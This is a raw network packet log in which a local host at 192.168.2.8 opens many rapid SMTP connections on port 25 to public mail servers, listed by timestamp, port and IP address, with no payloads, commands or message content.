Aug 24, 2023 19:03:32.907008886 CEST	25	49956	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:32.907181025 CEST	49956	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:32.910360098 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:32.910619974 CEST	49931	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:32.916100025 CEST	25	49972	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:32.916841030 CEST	49972	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:32.917608023 CEST	49976	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:32.918752909 CEST	25	49960	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:32.944526911 CEST	25	49970	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:32.945171118 CEST	49970	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:32.947324991 CEST	25	49965	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:32.947587967 CEST	25	49962	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:32.948518991 CEST	25	49965	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:32.948731899 CEST	49965	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:32.949704885 CEST	25	49965	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:32.949824095 CEST	49965	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:32.961653948 CEST	25	49971	104.47.55.138	192.168.2.8
Aug 24, 2023 19:03:32.961853027 CEST	49971	25	192.168.2.8	104.47.55.138
Aug 24, 2023 19:03:32.973759890 CEST	25	49964	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:32.973805904 CEST	25	49964	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:32.974019051 CEST	49964	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:32.975158930 CEST	25	49964	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:32.975276947 CEST	49964	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:32.994374990 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:32.994637012 CEST	49947	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.002193928 CEST	25	49963	209.222.235.15	192.168.2.8
Aug 24, 2023 19:03:33.002341032 CEST	25	49969	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:33.002520084 CEST	49963	25	192.168.2.8	209.222.235.15
Aug 24, 2023 19:03:33.005577087 CEST	25	49961	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:33.023293972 CEST	25	49974	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:33.023426056 CEST	49974	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:33.030513048 CEST	25	49975	47.43.26.7	192.168.2.8
Aug 24, 2023 19:03:33.030714989 CEST	49975	25	192.168.2.8	47.43.26.7
Aug 24, 2023 19:03:33.032210112 CEST	25	49976	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:33.032339096 CEST	49976	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:33.032767057 CEST	25	49966	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:33.033001900 CEST	49966	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:33.040827036 CEST	25	49957	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:33.040925026 CEST	49957	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:33.048842907 CEST	25	49970	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:33.049770117 CEST	25	49970	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:33.050035000 CEST	49970	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:33.051579952 CEST	25	49958	149.56.24.155	192.168.2.8
Aug 24, 2023 19:03:33.051840067 CEST	49958	25	192.168.2.8	149.56.24.155
Aug 24, 2023 19:03:33.055764914 CEST	25	49965	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:33.070193052 CEST	25	49971	104.47.55.138	192.168.2.8
Aug 24, 2023 19:03:33.070358992 CEST	49971	25	192.168.2.8	104.47.55.138
Aug 24, 2023 19:03:33.071403027 CEST	25	49956	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:33.071504116 CEST	49956	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:33.077769995 CEST	49977	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:33.078488111 CEST	25	49968	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:33.079629898 CEST	25	49968	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:33.079869032 CEST	49968	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:33.090070009 CEST	49978	25	192.168.2.8	130.179.21.18
Aug 24, 2023 19:03:33.093456030 CEST	25	49955	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:33.093626022 CEST	49955	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:33.099951982 CEST	49979	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:33.106514931 CEST	25	49964	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:33.106828928 CEST	49980	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:33.117834091 CEST	25	49963	209.222.235.15	192.168.2.8
Aug 24, 2023 19:03:33.117989063 CEST	49963	25	192.168.2.8	209.222.235.15
Aug 24, 2023 19:03:33.120865107 CEST	25	49959	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:33.121180058 CEST	49959	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.125946999 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:33.126137018 CEST	49973	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.150922060 CEST	25	49976	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:33.151129961 CEST	49976	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:33.154946089 CEST	25	49972	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:33.155055046 CEST	49972	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:33.156893015 CEST	25	49970	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:33.157989025 CEST	25	49958	149.56.24.155	192.168.2.8
Aug 24, 2023 19:03:33.158085108 CEST	25	49958	149.56.24.155	192.168.2.8
Aug 24, 2023 19:03:33.158113003 CEST	25	49970	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:33.158379078 CEST	49970	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:33.158433914 CEST	49958	25	192.168.2.8	149.56.24.155
Aug 24, 2023 19:03:33.159430981 CEST	25	49970	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:33.159548044 CEST	49970	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:33.162179947 CEST	49981	25	192.168.2.8	209.71.208.7
Aug 24, 2023 19:03:33.162233114 CEST	25	49966	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:33.162395000 CEST	49966	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:33.181822062 CEST	25	49975	47.43.26.7	192.168.2.8
Aug 24, 2023 19:03:33.181945086 CEST	49975	25	192.168.2.8	47.43.26.7
Aug 24, 2023 19:03:33.181958914 CEST	25	49975	47.43.26.7	192.168.2.8
Aug 24, 2023 19:03:33.182041883 CEST	49975	25	192.168.2.8	47.43.26.7
Aug 24, 2023 19:03:33.182152033 CEST	25	49971	104.47.55.138	192.168.2.8
Aug 24, 2023 19:03:33.182360888 CEST	49971	25	192.168.2.8	104.47.55.138
Aug 24, 2023 19:03:33.194257975 CEST	25	49977	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:33.194498062 CEST	49977	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:33.195651054 CEST	49982	25	192.168.2.8	216.108.160.2
Aug 24, 2023 19:03:33.218539953 CEST	25	49978	130.179.21.18	192.168.2.8
Aug 24, 2023 19:03:33.218718052 CEST	49978	25	192.168.2.8	130.179.21.18
Aug 24, 2023 19:03:33.219367027 CEST	25	49979	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:33.219489098 CEST	49979	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:33.231728077 CEST	49983	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:33.240704060 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:33.251192093 CEST	25	49968	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:33.252125978 CEST	25	49968	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:33.252357960 CEST	49968	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:33.252959967 CEST	25	49962	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:33.253056049 CEST	25	49962	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:33.253098011 CEST	25	49962	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:33.253109932 CEST	49962	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:33.253146887 CEST	49962	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:33.253175974 CEST	25	49968	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:33.253196001 CEST	49962	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:33.253230095 CEST	49968	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:33.256158113 CEST	49984	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:33.262243032 CEST	25	49958	149.56.24.155	192.168.2.8
Aug 24, 2023 19:03:33.262501955 CEST	49958	25	192.168.2.8	149.56.24.155
Aug 24, 2023 19:03:33.262727022 CEST	25	49970	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:33.264935970 CEST	25	49976	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:33.265125990 CEST	25	49976	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:33.265266895 CEST	49976	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:33.268065929 CEST	49985	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:33.275055885 CEST	25	49980	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:33.275186062 CEST	49980	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:33.288193941 CEST	25	49966	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:33.290041924 CEST	25	49966	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:33.290220976 CEST	49966	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:33.290841103 CEST	25	49971	104.47.55.138	192.168.2.8
Aug 24, 2023 19:03:33.291049004 CEST	49971	25	192.168.2.8	104.47.55.138
Aug 24, 2023 19:03:33.311763048 CEST	25	49977	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:33.312118053 CEST	49977	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:33.318994045 CEST	49986	25	192.168.2.8	47.43.26.7
Aug 24, 2023 19:03:33.320889950 CEST	25	49975	47.43.26.7	192.168.2.8
Aug 24, 2023 19:03:33.325186014 CEST	25	49972	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:33.325223923 CEST	25	49972	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:33.325472116 CEST	49972	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:33.326308012 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:33.346345901 CEST	25	49983	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:33.346632957 CEST	49983	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:33.349123955 CEST	25	49978	130.179.21.18	192.168.2.8
Aug 24, 2023 19:03:33.369414091 CEST	25	49958	149.56.24.155	192.168.2.8
Aug 24, 2023 19:03:33.369646072 CEST	49958	25	192.168.2.8	149.56.24.155
Aug 24, 2023 19:03:33.370227098 CEST	25	49962	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:33.370358944 CEST	49962	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:33.374903917 CEST	25	49979	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:33.375490904 CEST	49979	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:33.383771896 CEST	25	49976	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:33.384006023 CEST	49976	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:33.387490034 CEST	49987	25	192.168.2.8	213.171.216.40
Aug 24, 2023 19:03:33.396600962 CEST	25	49985	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:33.396765947 CEST	49985	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:33.398772001 CEST	49988	25	192.168.2.8	54.88.152.217
Aug 24, 2023 19:03:33.401474953 CEST	25	49971	104.47.55.138	192.168.2.8
Aug 24, 2023 19:03:33.402667999 CEST	25	49971	104.47.55.138	192.168.2.8
Aug 24, 2023 19:03:33.402750015 CEST	49971	25	192.168.2.8	104.47.55.138
Aug 24, 2023 19:03:33.413203955 CEST	25	49974	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:33.413362980 CEST	49974	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:33.419190884 CEST	25	49987	213.171.216.40	192.168.2.8
Aug 24, 2023 19:03:33.419322968 CEST	49987	25	192.168.2.8	213.171.216.40
Aug 24, 2023 19:03:33.427301884 CEST	25	49968	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:33.428407907 CEST	25	49977	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:33.428662062 CEST	49977	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:33.429735899 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:33.429877996 CEST	49973	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.441910028 CEST	25	49984	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:33.442150116 CEST	49984	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:33.449646950 CEST	25	49980	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:33.449835062 CEST	49980	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:33.452502012 CEST	25	49987	213.171.216.40	192.168.2.8
Aug 24, 2023 19:03:33.452675104 CEST	49987	25	192.168.2.8	213.171.216.40
Aug 24, 2023 19:03:33.453403950 CEST	25	49959	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:33.462301016 CEST	25	49986	47.43.26.7	192.168.2.8
Aug 24, 2023 19:03:33.462440014 CEST	49986	25	192.168.2.8	47.43.26.7
Aug 24, 2023 19:03:33.463097095 CEST	49989	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:33.477073908 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:33.477355957 CEST	49931	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.484680891 CEST	25	49987	213.171.216.40	192.168.2.8
Aug 24, 2023 19:03:33.484777927 CEST	25	49987	213.171.216.40	192.168.2.8
Aug 24, 2023 19:03:33.484925032 CEST	49987	25	192.168.2.8	213.171.216.40
Aug 24, 2023 19:03:33.489851952 CEST	25	49979	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:33.489924908 CEST	25	49979	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:33.490370035 CEST	49979	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:33.493005037 CEST	25	49938	198.252.106.192	192.168.2.8
Aug 24, 2023 19:03:33.493865967 CEST	49938	25	192.168.2.8	198.252.106.192
Aug 24, 2023 19:03:33.494251966 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:33.494566917 CEST	49947	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.495088100 CEST	49990	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:33.495879889 CEST	25	49972	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:33.496031046 CEST	49972	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:33.498413086 CEST	25	49983	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:33.498658895 CEST	49983	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:33.510560989 CEST	49991	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:33.516010046 CEST	25	49988	54.88.152.217	192.168.2.8
Aug 24, 2023 19:03:33.516127110 CEST	49988	25	192.168.2.8	54.88.152.217
Aug 24, 2023 19:03:33.516726971 CEST	25	49987	213.171.216.40	192.168.2.8
Aug 24, 2023 19:03:33.516854048 CEST	49987	25	192.168.2.8	213.171.216.40
Aug 24, 2023 19:03:33.523015022 CEST	25	49985	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:33.523237944 CEST	49985	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:33.537851095 CEST	25	49976	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:33.545185089 CEST	25	49977	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:33.545505047 CEST	49977	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:33.548566103 CEST	25	49987	213.171.216.40	192.168.2.8
Aug 24, 2023 19:03:33.548710108 CEST	49987	25	192.168.2.8	213.171.216.40
Aug 24, 2023 19:03:33.566385984 CEST	49992	25	192.168.2.8	199.58.116.87
Aug 24, 2023 19:03:33.567116022 CEST	25	49989	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:33.567220926 CEST	49989	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:33.580574036 CEST	25	49987	213.171.216.40	192.168.2.8
Aug 24, 2023 19:03:33.580749989 CEST	49987	25	192.168.2.8	213.171.216.40
Aug 24, 2023 19:03:33.594620943 CEST	49993	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:33.594786882 CEST	25	49974	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:33.594827890 CEST	25	49974	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:33.595005989 CEST	49974	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:33.605285883 CEST	25	49979	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:33.606033087 CEST	25	49979	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:33.606143951 CEST	49979	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:33.611418962 CEST	25	49983	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:33.611489058 CEST	25	49983	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:33.612618923 CEST	25	49987	213.171.216.40	192.168.2.8
Aug 24, 2023 19:03:33.612646103 CEST	25	49987	213.171.216.40	192.168.2.8
Aug 24, 2023 19:03:33.612773895 CEST	49987	25	192.168.2.8	213.171.216.40
Aug 24, 2023 19:03:33.613965988 CEST	49987	25	192.168.2.8	213.171.216.40
Aug 24, 2023 19:03:33.617634058 CEST	25	49980	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:33.618566036 CEST	25	49980	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:33.619610071 CEST	25	49990	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:33.619755030 CEST	49990	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:33.620220900 CEST	49979	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:33.620265961 CEST	49980	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:33.620398998 CEST	49983	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:33.622035027 CEST	25	49978	130.179.21.18	192.168.2.8
Aug 24, 2023 19:03:33.622061968 CEST	25	49978	130.179.21.18	192.168.2.8
Aug 24, 2023 19:03:33.622210026 CEST	25	49959	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:33.622354031 CEST	49978	25	192.168.2.8	130.179.21.18
Aug 24, 2023 19:03:33.622354031 CEST	49978	25	192.168.2.8	130.179.21.18
Aug 24, 2023 19:03:33.622405052 CEST	49959	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.624068022 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:33.624248028 CEST	49973	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.628665924 CEST	49994	25	192.168.2.8	216.71.132.58
Aug 24, 2023 19:03:33.634092093 CEST	25	49991	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:33.634248018 CEST	49991	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:33.649178982 CEST	25	49985	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:33.649383068 CEST	49985	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:33.658380032 CEST	25	49986	47.43.26.7	192.168.2.8
Aug 24, 2023 19:03:33.658556938 CEST	49986	25	192.168.2.8	47.43.26.7
Aug 24, 2023 19:03:33.659780025 CEST	25	49986	47.43.26.7	192.168.2.8
Aug 24, 2023 19:03:33.659863949 CEST	49986	25	192.168.2.8	47.43.26.7
Aug 24, 2023 19:03:33.662604094 CEST	25	49977	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:33.662787914 CEST	49977	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:33.665668964 CEST	25	49938	198.252.106.192	192.168.2.8
Aug 24, 2023 19:03:33.665851116 CEST	49938	25	192.168.2.8	198.252.106.192
Aug 24, 2023 19:03:33.666420937 CEST	25	49972	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:33.666517973 CEST	49972	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:33.672261953 CEST	25	49989	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:33.672393084 CEST	49989	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:33.680006027 CEST	25	49992	199.58.116.87	192.168.2.8
Aug 24, 2023 19:03:33.680108070 CEST	49992	25	192.168.2.8	199.58.116.87
Aug 24, 2023 19:03:33.681627035 CEST	49995	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:33.702203989 CEST	25	49993	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:33.702310085 CEST	49993	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:33.730427980 CEST	25	49988	54.88.152.217	192.168.2.8
Aug 24, 2023 19:03:33.730474949 CEST	25	49988	54.88.152.217	192.168.2.8
Aug 24, 2023 19:03:33.730571985 CEST	49988	25	192.168.2.8	54.88.152.217
Aug 24, 2023 19:03:33.730633974 CEST	49988	25	192.168.2.8	54.88.152.217
Aug 24, 2023 19:03:33.733818054 CEST	25	49983	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:33.734025955 CEST	25	49983	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:33.734035015 CEST	49983	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:33.734101057 CEST	49983	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:33.734211922 CEST	25	49979	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:33.743680954 CEST	25	49994	216.71.132.58	192.168.2.8
Aug 24, 2023 19:03:33.743865013 CEST	49994	25	192.168.2.8	216.71.132.58
Aug 24, 2023 19:03:33.750566959 CEST	25	49978	130.179.21.18	192.168.2.8
Aug 24, 2023 19:03:33.760579109 CEST	25	49991	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:33.760617018 CEST	25	49991	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:33.760719061 CEST	49991	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:33.760766029 CEST	49991	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:33.762203932 CEST	49996	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:33.774992943 CEST	25	49985	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:33.775532961 CEST	49985	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:33.775954962 CEST	25	49989	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:33.776468039 CEST	25	49974	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:33.776694059 CEST	49974	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:33.776843071 CEST	25	49989	104.47.70.33	192.168.2.8
Aug 24, 2023 19:03:33.776974916 CEST	49989	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:33.778671026 CEST	25	49977	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:33.780241013 CEST	25	49977	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:33.780339956 CEST	49977	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:33.784394979 CEST	25	49984	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:33.784712076 CEST	49984	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:33.787966967 CEST	25	49980	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:33.789295912 CEST	25	49980	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:33.789442062 CEST	49980	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:33.790273905 CEST	25	49980	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:33.790353060 CEST	49980	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:33.797003031 CEST	25	49976	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:33.797036886 CEST	25	49976	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:33.797162056 CEST	49976	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:33.797228098 CEST	49976	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:33.798974037 CEST	25	49986	47.43.26.7	192.168.2.8
Aug 24, 2023 19:03:33.806921005 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:33.811645031 CEST	25	49993	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:33.811896086 CEST	49993	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:33.826287985 CEST	25	49947	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:33.833828926 CEST	49997	25	192.168.2.8	34.218.149.231
Aug 24, 2023 19:03:33.834450960 CEST	49886	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:33.834450960 CEST	49886	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:33.834451914 CEST	49886	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:33.834575891 CEST	49886	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:33.834603071 CEST	49886	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:33.834641933 CEST	49886	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:33.834732056 CEST	49886	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:33.834769964 CEST	49886	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:33.834827900 CEST	49886	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:33.834872961 CEST	49886	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:33.834901094 CEST	49886	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:33.835344076 CEST	49879	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.835401058 CEST	49879	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.835458994 CEST	49879	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.835489988 CEST	49879	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.835531950 CEST	49879	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.835570097 CEST	49879	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.835701942 CEST	49879	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.835752964 CEST	49879	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.835803986 CEST	49879	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.835952044 CEST	49879	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.836076021 CEST	49879	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.836205959 CEST	49881	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.836314917 CEST	49881	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.836380959 CEST	49881	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.836469889 CEST	49881	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.836469889 CEST	49881	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.836580038 CEST	49881	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.836616039 CEST	49881	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.836652994 CEST	49881	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.836688995 CEST	49881	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.836790085 CEST	49881	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.836813927 CEST	49881	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:33.837687016 CEST	25	49938	198.252.106.192	192.168.2.8
Aug 24, 2023 19:03:33.837851048 CEST	49938	25	192.168.2.8	198.252.106.192
Aug 24, 2023 19:03:33.843350887 CEST	49998	25	192.168.2.8	104.47.70.33
Aug 24, 2023 19:03:33.846880913 CEST	25	49983	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:33.847026110 CEST	25	49988	54.88.152.217	192.168.2.8
Aug 24, 2023 19:03:33.850684881 CEST	49999	25	192.168.2.8	98.136.96.91
